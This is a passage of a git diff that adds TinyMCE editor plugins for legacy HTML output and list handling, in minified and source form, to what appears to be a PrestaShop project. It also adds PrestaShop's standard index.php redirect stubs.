05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/legacyoutput/editor_plugin.js b/js/tiny_mce/plugins/legacyoutput/editor_plugin.js new file mode 100755 index 0000000..b3a4ce3 --- /dev/null +++ b/js/tiny_mce/plugins/legacyoutput/editor_plugin.js @@ -0,0 +1 @@ +(function(a){a.onAddEditor.addToTop(function(c,b){b.settings.inline_styles=false});a.create("tinymce.plugins.LegacyOutput",{init:function(b){b.onInit.add(function(){var c="p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li,table,img",e=a.explode(b.settings.font_size_style_values),d=b.schema;b.formatter.register({alignleft:{selector:c,attributes:{align:"left"}},aligncenter:{selector:c,attributes:{align:"center"}},alignright:{selector:c,attributes:{align:"right"}},alignfull:{selector:c,attributes:{align:"justify"}},bold:[{inline:"b",remove:"all"},{inline:"strong",remove:"all"},{inline:"span",styles:{fontWeight:"bold"}}],italic:[{inline:"i",remove:"all"},{inline:"em",remove:"all"},{inline:"span",styles:{fontStyle:"italic"}}],underline:[{inline:"u",remove:"all"},{inline:"span",styles:{textDecoration:"underline"},exact:true}],strikethrough:[{inline:"strike",remove:"all"},{inline:"span",styles:{textDecoration:"line-through"},exact:true}],fontname:{inline:"font",attributes:{face:"%value"}},fontsize:{inline:"font",attributes:{size:function(f){return a.inArray(e,f.value)+1}}},forecolor:{inline:"font",styles:{color:"%value"}},hilitecolor:{inline:"font",styles:{backgroundColor:"%value"}}});a.each("b,i,u,strike".split(","),function(f){d.addValidElements(f+"[*]")});if(!d.getElementRule("font")){d.addValidElements("font[face|size|color|style]")}a.each(c.split(","),function(f){var h=d.getElementRule(f),g;if(h){if(!h.attributes.align){h.attributes.align={};h.attributesOrder.push("align")}}});b.onNodeChange.add(function(g,k){var j,f,h,i;f=g.dom.getParent(g.selection.getNode(),"font");if(f){h=f.face;i=f.size}if(j=k.get("fontselect")){j.select(function(l){return l==h})}if(j=k.get("fontsizeselect")){j.select(function(m){var l=a.inArray(e,m.fontSize);return l+1==i})}})})},getInfo:function(){return{longname:"LegacyOutput",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/legacyoutput",version:a.majorVersion+"."+a.minorVersion}}});a.PluginManager.add("legacyoutput",a.plugins.LegacyOutput)})(tinymce); \ No newline at end of file diff --git a/js/tiny_mce/plugins/legacyoutput/editor_plugin_src.js b/js/tiny_mce/plugins/legacyoutput/editor_plugin_src.js new file mode 100755 index 0000000..835a45c --- /dev/null +++ b/js/tiny_mce/plugins/legacyoutput/editor_plugin_src.js @@ -0,0 +1,139 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + * + * This plugin will force TinyMCE to produce deprecated legacy output such as font elements, u elements, align + * attributes and so forth. There are a few cases where these old items might be needed for example in email applications or with Flash + * + * However you should NOT use this plugin if you are building some system that produces web contents such as a CMS. All these elements are + * not apart of the newer specifications for HTML and XHTML. + */ + +(function(tinymce) { + // Override inline_styles setting to force TinyMCE to produce deprecated contents + tinymce.onAddEditor.addToTop(function(tinymce, editor) { + editor.settings.inline_styles = false; + }); + + // Create the legacy ouput plugin + tinymce.create('tinymce.plugins.LegacyOutput', { + init : function(editor) { + editor.onInit.add(function() { + var alignElements = 'p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li,table,img', + fontSizes = tinymce.explode(editor.settings.font_size_style_values), + schema = editor.schema; + + // Override some internal formats to produce legacy elements and attributes + editor.formatter.register({ + // Change alignment formats to use the deprecated align attribute + alignleft : {selector : alignElements, attributes : {align : 'left'}}, + aligncenter : {selector : alignElements, attributes : {align : 'center'}}, + alignright : {selector : alignElements, attributes : {align : 'right'}}, + alignfull : {selector : alignElements, attributes : {align : 'justify'}}, + + // Change the basic formatting elements to use deprecated element types + bold : [ + {inline : 'b', remove : 'all'}, + {inline : 'strong', remove : 'all'}, + {inline : 'span', styles : {fontWeight : 'bold'}} + ], + italic : [ + {inline : 'i', remove : 'all'}, + {inline : 'em', remove : 'all'}, + {inline : 'span', styles : {fontStyle : 'italic'}} + ], + underline : [ + {inline : 'u', remove : 'all'}, + {inline : 'span', styles : {textDecoration : 'underline'}, exact : true} + ], + strikethrough : [ + {inline : 'strike', remove : 'all'}, + {inline : 'span', styles : {textDecoration: 'line-through'}, exact : true} + ], + + // Change font size and font family to use the deprecated font element + fontname : {inline : 'font', attributes : {face : '%value'}}, + fontsize : { + inline : 'font', + attributes : { + size : function(vars) { + return tinymce.inArray(fontSizes, vars.value) + 1; + } + } + }, + + // Setup font elements for colors as well + forecolor : {inline : 'font', styles : {color : '%value'}}, + hilitecolor : {inline : 'font', styles : {backgroundColor : '%value'}} + }); + + // Check that deprecated elements are allowed if not add them + tinymce.each('b,i,u,strike'.split(','), function(name) { + schema.addValidElements(name + '[*]'); + }); + + // Add font element if it's missing + if (!schema.getElementRule("font")) + schema.addValidElements("font[face|size|color|style]"); + + // Add the missing and depreacted align attribute for the serialization engine + tinymce.each(alignElements.split(','), function(name) { + var rule = schema.getElementRule(name), found; + + if (rule) { + if (!rule.attributes.align) { + rule.attributes.align = {}; + rule.attributesOrder.push('align'); + } + } + }); + + // Listen for the onNodeChange event so that we can do special logic for the font size and font name drop boxes + editor.onNodeChange.add(function(editor, control_manager) { + var control, fontElm, fontName, fontSize; + + // Find font element get it's name and size + fontElm = editor.dom.getParent(editor.selection.getNode(), 'font'); + if (fontElm) { + fontName = fontElm.face; + fontSize = fontElm.size; + } + + // Select/unselect the font name in droplist + if (control = control_manager.get('fontselect')) { + control.select(function(value) { + return value == fontName; + }); + } + + // Select/unselect the font size in droplist + if (control = control_manager.get('fontsizeselect')) { + control.select(function(value) { + var index = tinymce.inArray(fontSizes, value.fontSize); + + return index + 1 == fontSize; + }); + } + }); + }); + }, + + getInfo : function() { + return { + longname : 'LegacyOutput', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/legacyoutput', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('legacyoutput', tinymce.plugins.LegacyOutput); +})(tinymce); diff --git a/js/tiny_mce/plugins/legacyoutput/index.php b/js/tiny_mce/plugins/legacyoutput/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/legacyoutput/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/lists/editor_plugin.js b/js/tiny_mce/plugins/lists/editor_plugin.js new file mode 100755 index 0000000..a5afe90 --- /dev/null +++ b/js/tiny_mce/plugins/lists/editor_plugin.js @@ -0,0 +1 @@ +(function(){var e=tinymce.each,r=tinymce.dom.Event,g;function p(t,s){while(t&&(t.nodeType===8||(t.nodeType===3&&/^[ \t\n\r]*$/.test(t.nodeValue)))){t=s(t)}return t}function b(s){return p(s,function(t){return t.previousSibling})}function i(s){return p(s,function(t){return t.nextSibling})}function d(s,u,t){return s.dom.getParent(u,function(v){return tinymce.inArray(t,v)!==-1})}function n(s){return s&&(s.tagName==="OL"||s.tagName==="UL")}function c(u,v){var t,w,s;t=b(u.lastChild);while(n(t)){w=t;t=b(w.previousSibling)}if(w){s=v.create("li",{style:"list-style-type: none;"});v.split(u,w);v.insertAfter(s,w);s.appendChild(w);s.appendChild(w);u=s.previousSibling}return u}function m(t,s,u){t=a(t,s,u);return o(t,s,u)}function a(u,s,v){var t=b(u.previousSibling);if(t){return h(t,u,s?t:false,v)}else{return u}}function o(u,t,v){var s=i(u.nextSibling);if(s){return h(u,s,t?s:false,v)}else{return u}}function h(u,s,t,v){if(l(u,s,!!t,v)){return f(u,s,t)}else{if(u&&u.tagName==="LI"&&n(s)){u.appendChild(s)}}return s}function l(u,t,s,v){if(!u||!t){return false}else{if(u.tagName==="LI"&&t.tagName==="LI"){return t.style.listStyleType==="none"||j(t)}else{if(n(u)){return(u.tagName===t.tagName&&(s||u.style.listStyleType===t.style.listStyleType))||q(t)}else{return v&&u.tagName==="P"&&t.tagName==="P"}}}}function q(t){var s=i(t.firstChild),u=b(t.lastChild);return s&&u&&n(t)&&s===u&&(n(s)||s.style.listStyleType==="none"||j(s))}function j(u){var t=i(u.firstChild),s=b(u.lastChild);return t&&s&&t===s&&n(t)}function f(w,v,s){var u=b(w.lastChild),t=i(v.firstChild);if(w.tagName==="P"){w.appendChild(w.ownerDocument.createElement("br"))}while(v.firstChild){w.appendChild(v.firstChild)}if(s){w.style.listStyleType=s.style.listStyleType}v.parentNode.removeChild(v);h(u,t,false);return w}function k(t,u){var s;if(!u.is(t,"li,ol,ul")){s=u.getParent(t,"li");if(s){t=s}}return t}tinymce.create("tinymce.plugins.Lists",{init:function(y){var v="TABBING";var s="EMPTY";var J="ESCAPE";var z="PARAGRAPH";var N="UNKNOWN";var x=N;function E(U){return U.keyCode===tinymce.VK.TAB&&!(U.altKey||U.ctrlKey)&&(y.queryCommandState("InsertUnorderedList")||y.queryCommandState("InsertOrderedList"))}function w(){var U=B();var W=U.parentNode.parentNode;var V=U.parentNode.lastChild===U;return V&&!t(W)&&P(U)}function t(U){if(n(U)){return U.parentNode&&U.parentNode.tagName==="LI"}else{return U.tagName==="LI"}}function F(){return y.selection.isCollapsed()&&P(B())}function B(){var U=y.selection.getStart();return((U.tagName=="BR"||U.tagName=="")&&U.parentNode.tagName=="LI")?U.parentNode:U}function P(U){var V=U.childNodes.length;if(U.tagName==="LI"){return V==0?true:V==1&&(U.firstChild.tagName==""||U.firstChild.tagName=="BR"||H(U))}return false}function H(U){var V=tinymce.grep(U.parentNode.childNodes,function(Y){return Y.tagName=="LI"});var W=U==V[V.length-1];var X=U.firstChild;return tinymce.isIE9&&W&&(X.nodeValue==String.fromCharCode(160)||X.nodeValue==String.fromCharCode(32))}function T(U){return U.keyCode===tinymce.VK.ENTER}function A(U){return T(U)&&!U.shiftKey}function M(U){if(E(U)){return v}else{if(A(U)&&w()){return J}else{if(A(U)&&F()){return s}else{return N}}}}function D(U,V){if(x==v||x==s||tinymce.isGecko&&x==J){r.cancel(V)}}function C(){var U=y.selection.getRng(true);var V=U.startContainer;if(V.nodeType==3){var W=V.nodeValue;if(tinymce.isIE9&&W.length>1&&W.charCodeAt(W.length-1)==32){return(U.endOffset==W.length-1)}else{return(U.endOffset==W.length)}}else{if(V.nodeType==1){return U.endOffset==V.childNodes.length}}return false}function I(){var W=y.selection.getNode();var V="h1,h2,h3,h4,h5,h6,p,div";var U=y.dom.is(W,V)&&W.parentNode.tagName==="LI"&&W.parentNode.lastChild===W;return y.selection.isCollapsed()&&U&&C()}function K(W,Y){if(A(Y)&&I()){var X=W.selection.getNode();var V=W.dom.create("li");var U=W.dom.getParent(X,"li");W.dom.insertAfter(V,U);if(tinymce.isIE6||tinymce.isIE7||tinyMCE.isIE8){V.appendChild(W.dom.create(" "));W.selection.setCursorLocation(V,1)}else{if(tinyMCE.isGecko){setTimeout(function(){var Z=W.getDoc().createTextNode("\uFEFF");V.appendChild(Z);W.selection.setCursorLocation(V,0)},0)}else{W.selection.setCursorLocation(V,0)}}Y.preventDefault()}}function u(X,Z){var ac;if(!tinymce.isGecko){return}var V=X.selection.getStart();if(Z.keyCode!=tinymce.VK.BACKSPACE||V.tagName!=="IMG"){return}function W(ag){var ah=ag.firstChild;var af=null;do{if(!ah){break}if(ah.tagName==="LI"){af=ah}}while(ah=ah.nextSibling);return af}function ae(ag,af){while(ag.childNodes.length>0){af.appendChild(ag.childNodes[0])}}ac=V.parentNode.previousSibling;if(!ac){return}var aa;if(ac.tagName==="UL"||ac.tagName==="OL"){aa=ac}else{if(ac.previousSibling&&(ac.previousSibling.tagName==="UL"||ac.previousSibling.tagName==="OL")){aa=ac.previousSibling}else{return}}var ad=W(aa);var U=X.dom.createRng();U.setStart(ad,1);U.setEnd(ad,1);X.selection.setRng(U);X.selection.collapse(true);var Y=X.selection.getBookmark();var ab=V.parentNode.cloneNode(true);if(ab.tagName==="P"||ab.tagName==="DIV"){ae(ab,ad)}else{ad.appendChild(ab)}V.parentNode.parentNode.removeChild(V.parentNode);X.selection.moveToBookmark(Y)}function G(U){var V=y.dom.getParent(U,"ol,ul");if(V!=null){var W=V.lastChild;W.appendChild(y.getDoc().createElement(""));y.selection.setCursorLocation(W,0)}}this.ed=y;y.addCommand("Indent",this.indent,this);y.addCommand("Outdent",this.outdent,this);y.addCommand("InsertUnorderedList",function(){this.applyList("UL","OL")},this);y.addCommand("InsertOrderedList",function(){this.applyList("OL","UL")},this);y.onInit.add(function(){y.editorCommands.addCommands({outdent:function(){var V=y.selection,W=y.dom;function U(X){X=W.getParent(X,W.isBlock);return X&&(parseInt(y.dom.getStyle(X,"margin-left")||0,10)+parseInt(y.dom.getStyle(X,"padding-left")||0,10))>0}return U(V.getStart())||U(V.getEnd())||y.queryCommandState("InsertOrderedList")||y.queryCommandState("InsertUnorderedList")}},"state")});y.onKeyUp.add(function(V,W){if(x==v){V.execCommand(W.shiftKey?"Outdent":"Indent",true,null);x=N;return r.cancel(W)}else{if(x==s){var U=B();var Y=V.settings.list_outdent_on_enter===true||W.shiftKey;V.execCommand(Y?"Outdent":"Indent",true,null);if(tinymce.isIE){G(U)}return r.cancel(W)}else{if(x==J){if(tinymce.isIE6||tinymce.isIE7||tinymce.isIE8){var X=V.getDoc().createTextNode("\uFEFF");V.selection.getNode().appendChild(X)}else{if(tinymce.isIE9||tinymce.isGecko){V.execCommand("Outdent");return r.cancel(W)}}}}}});function L(V,U){var W=y.getDoc().createTextNode("\uFEFF");V.insertBefore(W,U);y.selection.setCursorLocation(W,0);y.execCommand("mceRepaint")}function R(V,X){if(T(X)){var U=B();if(U){var W=U.parentNode;var Y=W&&W.parentNode;if(Y&&Y.nodeName=="LI"&&Y.firstChild==W&&U==W.firstChild){L(Y,W)}}}}function S(V,X){if(T(X)){var U=B();if(V.dom.select("ul li",U).length===1){var W=U.firstChild;L(U,W)}}}function Q(V,Z){function W(ad,aa){var ac=[];var ae=new tinymce.dom.TreeWalker(aa,ad);for(var ab=ae.current();ab;ab=ae.next()){if(V.dom.is(ab,"ol,ul,li")){ac.push(ab)}}return ac}if(Z.keyCode==tinymce.VK.BACKSPACE){var U=B();if(U){var Y=V.dom.getParent(U,"ol,ul");if(Y&&Y.firstChild===U){var X=W(Y,U);V.execCommand("Outdent",false,X);V.undoManager.add();return r.cancel(Z)}}}}function O(V,X){var U=B();if(X.keyCode===tinymce.VK.BACKSPACE&&V.dom.is(U,"li")&&U.parentNode.firstChild!==U){if(V.dom.select("ul,ol",U).length===1){var Z=U.previousSibling;V.dom.remove(V.dom.select("br",U));V.dom.remove(U,true);var W=tinymce.grep(Z.childNodes,function(aa){return aa.nodeType===3});if(W.length===1){var Y=W[0];V.selection.setCursorLocation(Y,Y.length)}V.undoManager.add();return r.cancel(X)}}}y.onKeyDown.add(function(U,V){x=M(V)});y.onKeyDown.add(D);y.onKeyDown.add(u);y.onKeyDown.add(K);if(tinymce.isGecko){y.onKeyUp.add(R)}if(tinymce.isIE8){y.onKeyUp.add(S)}if(tinymce.isGecko||tinymce.isWebKit){y.onKeyDown.add(Q)}if(tinymce.isWebKit){y.onKeyDown.add(O)}},applyList:function(y,v){var C=this,z=C.ed,I=z.dom,s=[],H=false,u=false,w=false,B,G=z.selection.getSelectedBlocks();function E(t){if(t&&t.tagName==="BR"){I.remove(t)}}function F(M){var N=I.create(y),t;function L(O){if(O.style.marginLeft||O.style.paddingLeft){C.adjustPaddingFunction(false)(O)}}if(M.tagName==="LI"){}else{if(M.tagName==="P"||M.tagName==="DIV"||M.tagName==="BODY"){K(M,function(P,O){J(P,O,M.tagName==="BODY"?null:P.parentNode);t=P.parentNode;L(t);E(O)});if(t){if(t.tagName==="LI"&&(M.tagName==="P"||G.length>1)){I.split(t.parentNode.parentNode,t.parentNode)}m(t.parentNode,true)}return}else{t=I.create("li");I.insertAfter(t,M);t.appendChild(M);L(M);M=t}}I.insertAfter(N,M);N.appendChild(M);m(N,true);s.push(M)}function J(P,L,N){var t,O=P,M;while(!I.isBlock(P.parentNode)&&P.parentNode!==I.getRoot()){P=I.split(P.parentNode,P.previousSibling);P=P.nextSibling;O=P}if(N){t=N.cloneNode(true);P.parentNode.insertBefore(t,P);while(t.firstChild){I.remove(t.firstChild)}t=I.rename(t,"li")}else{t=I.create("li");P.parentNode.insertBefore(t,P)}while(O&&O!=L){M=O.nextSibling;t.appendChild(O);O=M}if(t.childNodes.length===0){t.innerHTML='
    '}F(t)}function K(Q,T){var N,R,O=3,L=1,t="br,ul,ol,p,div,h1,h2,h3,h4,h5,h6,table,blockquote,address,pre,form,center,dl";function P(X,U){var V=I.createRng(),W;g.keep=true;z.selection.moveToBookmark(g);g.keep=false;W=z.selection.getRng(true);if(!U){U=X.parentNode.lastChild}V.setStartBefore(X);V.setEndAfter(U);return !(V.compareBoundaryPoints(O,W)>0||V.compareBoundaryPoints(L,W)<=0)}function S(U){if(U.nextSibling){return U.nextSibling}if(!I.isBlock(U.parentNode)&&U.parentNode!==I.getRoot()){return S(U.parentNode)}}N=Q.firstChild;var M=false;e(I.select(t,Q),function(U){if(U.hasAttribute&&U.hasAttribute("_mce_bogus")){return true}if(P(N,U)){I.addClass(U,"_mce_tagged_br");N=S(U)}});M=(N&&P(N,undefined));N=Q.firstChild;e(I.select(t,Q),function(V){var U=S(V);if(V.hasAttribute&&V.hasAttribute("_mce_bogus")){return true}if(I.hasClass(V,"_mce_tagged_br")){T(N,V,R);R=null}else{R=V}N=U});if(M){T(N,undefined,R)}}function D(t){K(t,function(M,L,N){J(M,L);E(L);E(N)})}function A(t){if(tinymce.inArray(s,t)!==-1){return}if(t.parentNode.tagName===v){I.split(t.parentNode,t);F(t);o(t.parentNode,false)}s.push(t)}function x(M){var O,N,L,t;if(tinymce.inArray(s,M)!==-1){return}M=c(M,I);while(I.is(M.parentNode,"ol,ul,li")){I.split(M.parentNode,M)}s.push(M);M=I.rename(M,"p");L=m(M,false,z.settings.force_br_newlines);if(L===M){O=M.firstChild;while(O){if(I.isBlock(O)){O=I.split(O.parentNode,O);t=true;N=O.nextSibling&&O.nextSibling.firstChild}else{N=O.nextSibling;if(t&&O.tagName==="BR"){I.remove(O)}t=false}O=N}}}e(G,function(t){t=k(t,I);if(t.tagName===v||(t.tagName==="LI"&&t.parentNode.tagName===v)){u=true}else{if(t.tagName===y||(t.tagName==="LI"&&t.parentNode.tagName===y)){H=true}else{w=true}}});if(w&&!H||u||G.length===0){B={LI:A,H1:F,H2:F,H3:F,H4:F,H5:F,H6:F,P:F,BODY:F,DIV:G.length>1?F:D,defaultAction:D,elements:this.selectedBlocks()}}else{B={defaultAction:x,elements:this.selectedBlocks()}}this.process(B)},indent:function(){var u=this.ed,w=u.dom,x=[];function s(z){var y=w.create("li",{style:"list-style-type: none;"});w.insertAfter(y,z);return y}function t(B){var y=s(B),D=w.getParent(B,"ol,ul"),C=D.tagName,E=w.getStyle(D,"list-style-type"),A={},z;if(E!==""){A.style="list-style-type: "+E+";"}z=w.create(C,A);y.appendChild(z);return z}function v(z){if(!d(u,z,x)){z=c(z,w);var y=t(z);y.appendChild(z);m(y.parentNode,false);m(y,false);x.push(z)}}this.process({LI:v,defaultAction:this.adjustPaddingFunction(true),elements:this.selectedBlocks()})},outdent:function(y,x){var w=this,u=w.ed,z=u.dom,s=[];function A(t){var C,B,D;if(!d(u,t,s)){if(z.getStyle(t,"margin-left")!==""||z.getStyle(t,"padding-left")!==""){return w.adjustPaddingFunction(false)(t)}D=z.getStyle(t,"text-align",true);if(D==="center"||D==="right"){z.setStyle(t,"text-align","left");return}t=c(t,z);C=t.parentNode;B=t.parentNode.parentNode;if(B.tagName==="P"){z.split(B,t.parentNode)}else{z.split(C,t);if(B.tagName==="LI"){z.split(B,t)}else{if(!z.is(B,"ol,ul")){z.rename(t,"p")}}}s.push(t)}}var v=x&&tinymce.is(x,"array")?x:this.selectedBlocks();this.process({LI:A,defaultAction:this.adjustPaddingFunction(false),elements:v});e(s,m)},process:function(y){var F=this,w=F.ed.selection,z=F.ed.dom,E,u;function B(t){var s=tinymce.grep(t.childNodes,function(H){return !(H.nodeName==="BR"||H.nodeName==="SPAN"&&z.getAttrib(H,"data-mce-type")=="bookmark"||H.nodeType==3&&(H.nodeValue==String.fromCharCode(160)||H.nodeValue==""))});return s.length===0}function x(s){z.removeClass(s,"_mce_act_on");if(!s||s.nodeType!==1||E.length>1&&B(s)){return}s=k(s,z);var t=y[s.tagName];if(!t){t=y.defaultAction}t(s)}function v(s){F.splitSafeEach(s.childNodes,x)}function C(s,t){return t>=0&&s.hasChildNodes()&&t0){t=s.shift();w.removeClass(t,"_mce_act_on");u(t);s=w.select("._mce_act_on")}},adjustPaddingFunction:function(u){var s,v,t=this.ed;s=t.settings.indentation;v=/[a-z%]+/i.exec(s);s=parseInt(s,10);return function(w){var y,x;y=parseInt(t.dom.getStyle(w,"margin-left")||0,10)+parseInt(t.dom.getStyle(w,"padding-left")||0,10);if(u){x=y+s}else{x=y-s}t.dom.setStyle(w,"padding-left","");t.dom.setStyle(w,"margin-left",x>0?x+v:"")}},selectedBlocks:function(){var s=this.ed;var t=s.selection.getSelectedBlocks();return t.length==0?[s.dom.getRoot()]:t},getInfo:function(){return{longname:"Lists",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/lists",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("lists",tinymce.plugins.Lists)}()); \ No newline at end of file diff --git a/js/tiny_mce/plugins/lists/editor_plugin_src.js b/js/tiny_mce/plugins/lists/editor_plugin_src.js new file mode 100755 index 0000000..ebe4fa5 --- /dev/null +++ b/js/tiny_mce/plugins/lists/editor_plugin_src.js @@ -0,0 +1,954 @@ +/** + * editor_plugin_src.js + * + * Copyright 2011, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var each = tinymce.each, Event = tinymce.dom.Event, bookmark; + + // Skips text nodes that only contain whitespace since they aren't semantically important. + function skipWhitespaceNodes(e, next) { + while (e && (e.nodeType === 8 || (e.nodeType === 3 && /^[ \t\n\r]*$/.test(e.nodeValue)))) { + e = next(e); + } + return e; + } + + function skipWhitespaceNodesBackwards(e) { + return skipWhitespaceNodes(e, function(e) { + return e.previousSibling; + }); + } + + function skipWhitespaceNodesForwards(e) { + return skipWhitespaceNodes(e, function(e) { + return e.nextSibling; + }); + } + + function hasParentInList(ed, e, list) { + return ed.dom.getParent(e, function(p) { + return tinymce.inArray(list, p) !== -1; + }); + } + + function isList(e) { + return e && (e.tagName === 'OL' || e.tagName === 'UL'); + } + + function splitNestedLists(element, dom) { + var tmp, nested, wrapItem; + tmp = skipWhitespaceNodesBackwards(element.lastChild); + while (isList(tmp)) { + nested = tmp; + tmp = skipWhitespaceNodesBackwards(nested.previousSibling); + } + if (nested) { + wrapItem = dom.create('li', { style: 'list-style-type: none;'}); + dom.split(element, nested); + dom.insertAfter(wrapItem, nested); + wrapItem.appendChild(nested); + wrapItem.appendChild(nested); + element = wrapItem.previousSibling; + } + return element; + } + + function attemptMergeWithAdjacent(e, allowDifferentListStyles, mergeParagraphs) { + e = attemptMergeWithPrevious(e, allowDifferentListStyles, mergeParagraphs); + return attemptMergeWithNext(e, allowDifferentListStyles, mergeParagraphs); + } + + function attemptMergeWithPrevious(e, allowDifferentListStyles, mergeParagraphs) { + var prev = skipWhitespaceNodesBackwards(e.previousSibling); + if (prev) { + return attemptMerge(prev, e, allowDifferentListStyles ? prev : false, mergeParagraphs); + } else { + return e; + } + } + + function attemptMergeWithNext(e, allowDifferentListStyles, mergeParagraphs) { + var next = skipWhitespaceNodesForwards(e.nextSibling); + if (next) { + return attemptMerge(e, next, allowDifferentListStyles ? next : false, mergeParagraphs); + } else { + return e; + } + } + + function attemptMerge(e1, e2, differentStylesMasterElement, mergeParagraphs) { + if (canMerge(e1, e2, !!differentStylesMasterElement, mergeParagraphs)) { + return merge(e1, e2, differentStylesMasterElement); + } else if (e1 && e1.tagName === 'LI' && isList(e2)) { + // Fix invalidly nested lists. + e1.appendChild(e2); + } + return e2; + } + + function canMerge(e1, e2, allowDifferentListStyles, mergeParagraphs) { + if (!e1 || !e2) { + return false; + } else if (e1.tagName === 'LI' && e2.tagName === 'LI') { + return e2.style.listStyleType === 'none' || containsOnlyAList(e2); + } else if (isList(e1)) { + return (e1.tagName === e2.tagName && (allowDifferentListStyles || e1.style.listStyleType === e2.style.listStyleType)) || isListForIndent(e2); + } else return mergeParagraphs && e1.tagName === 'P' && e2.tagName === 'P'; + } + + function isListForIndent(e) { + var firstLI = skipWhitespaceNodesForwards(e.firstChild), lastLI = skipWhitespaceNodesBackwards(e.lastChild); + return firstLI && lastLI && isList(e) && firstLI === lastLI && (isList(firstLI) || firstLI.style.listStyleType === 'none' || containsOnlyAList(firstLI)); + } + + function containsOnlyAList(e) { + var firstChild = skipWhitespaceNodesForwards(e.firstChild), lastChild = skipWhitespaceNodesBackwards(e.lastChild); + return firstChild && lastChild && firstChild === lastChild && isList(firstChild); + } + + function merge(e1, e2, masterElement) { + var lastOriginal = skipWhitespaceNodesBackwards(e1.lastChild), firstNew = skipWhitespaceNodesForwards(e2.firstChild); + if (e1.tagName === 'P') { + e1.appendChild(e1.ownerDocument.createElement('br')); + } + while (e2.firstChild) { + e1.appendChild(e2.firstChild); + } + if (masterElement) { + e1.style.listStyleType = masterElement.style.listStyleType; + } + e2.parentNode.removeChild(e2); + attemptMerge(lastOriginal, firstNew, false); + return e1; + } + + function findItemToOperateOn(e, dom) { + var item; + if (!dom.is(e, 'li,ol,ul')) { + item = dom.getParent(e, 'li'); + if (item) { + e = item; + } + } + return e; + } + + tinymce.create('tinymce.plugins.Lists', { + init: function(ed) { + var LIST_TABBING = 'TABBING'; + var LIST_EMPTY_ITEM = 'EMPTY'; + var LIST_ESCAPE = 'ESCAPE'; + var LIST_PARAGRAPH = 'PARAGRAPH'; + var LIST_UNKNOWN = 'UNKNOWN'; + var state = LIST_UNKNOWN; + + function isTabInList(e) { + // Don't indent on Ctrl+Tab or Alt+Tab + return e.keyCode === tinymce.VK.TAB && !(e.altKey || e.ctrlKey) && + (ed.queryCommandState('InsertUnorderedList') || ed.queryCommandState('InsertOrderedList')); + } + + function isOnLastListItem() { + var li = getLi(); + var grandParent = li.parentNode.parentNode; + var isLastItem = li.parentNode.lastChild === li; + return isLastItem && !isNestedList(grandParent) && isEmptyListItem(li); + } + + function isNestedList(grandParent) { + if (isList(grandParent)) { + return grandParent.parentNode && grandParent.parentNode.tagName === 'LI'; + } else { + return grandParent.tagName === 'LI'; + } + } + + function isInEmptyListItem() { + return ed.selection.isCollapsed() && isEmptyListItem(getLi()); + } + + function getLi() { + var n = ed.selection.getStart(); + // Get start will return BR if the LI only contains a BR or an empty element as we use these to fix caret position + return ((n.tagName == 'BR' || n.tagName == '') && n.parentNode.tagName == 'LI') ? n.parentNode : n; + } + + function isEmptyListItem(li) { + var numChildren = li.childNodes.length; + if (li.tagName === 'LI') { + return numChildren == 0 ? true : numChildren == 1 && (li.firstChild.tagName == '' || li.firstChild.tagName == 'BR' || isEmptyIE9Li(li)); + } + return false; + } + + function isEmptyIE9Li(li) { + // only consider this to be last item if there is no list item content or that content is nbsp or space since IE9 creates these + var lis = tinymce.grep(li.parentNode.childNodes, function(n) {return n.tagName == 'LI'}); + var isLastLi = li == lis[lis.length - 1]; + var child = li.firstChild; + return tinymce.isIE9 && isLastLi && (child.nodeValue == String.fromCharCode(160) || child.nodeValue == String.fromCharCode(32)); + } + + function isEnter(e) { + return e.keyCode === tinymce.VK.ENTER; + } + + function isEnterWithoutShift(e) { + return isEnter(e) && !e.shiftKey; + } + + function getListKeyState(e) { + if (isTabInList(e)) { + return LIST_TABBING; + } else if (isEnterWithoutShift(e) && isOnLastListItem()) { + return LIST_ESCAPE; + } else if (isEnterWithoutShift(e) && isInEmptyListItem()) { + return LIST_EMPTY_ITEM; + } else { + return LIST_UNKNOWN; + } + } + + function cancelDefaultEvents(ed, e) { + // list escape is done manually using outdent as it does not create paragraphs correctly in td's + if (state == LIST_TABBING || state == LIST_EMPTY_ITEM || tinymce.isGecko && state == LIST_ESCAPE) { + Event.cancel(e); + } + } + + function isCursorAtEndOfContainer() { + var range = ed.selection.getRng(true); + var startContainer = range.startContainer; + if (startContainer.nodeType == 3) { + var value = startContainer.nodeValue; + if (tinymce.isIE9 && value.length > 1 && value.charCodeAt(value.length-1) == 32) { + // IE9 places a space on the end of the text in some cases so ignore last char + return (range.endOffset == value.length-1); + } else { + return (range.endOffset == value.length); + } + } else if (startContainer.nodeType == 1) { + return range.endOffset == startContainer.childNodes.length; + } + return 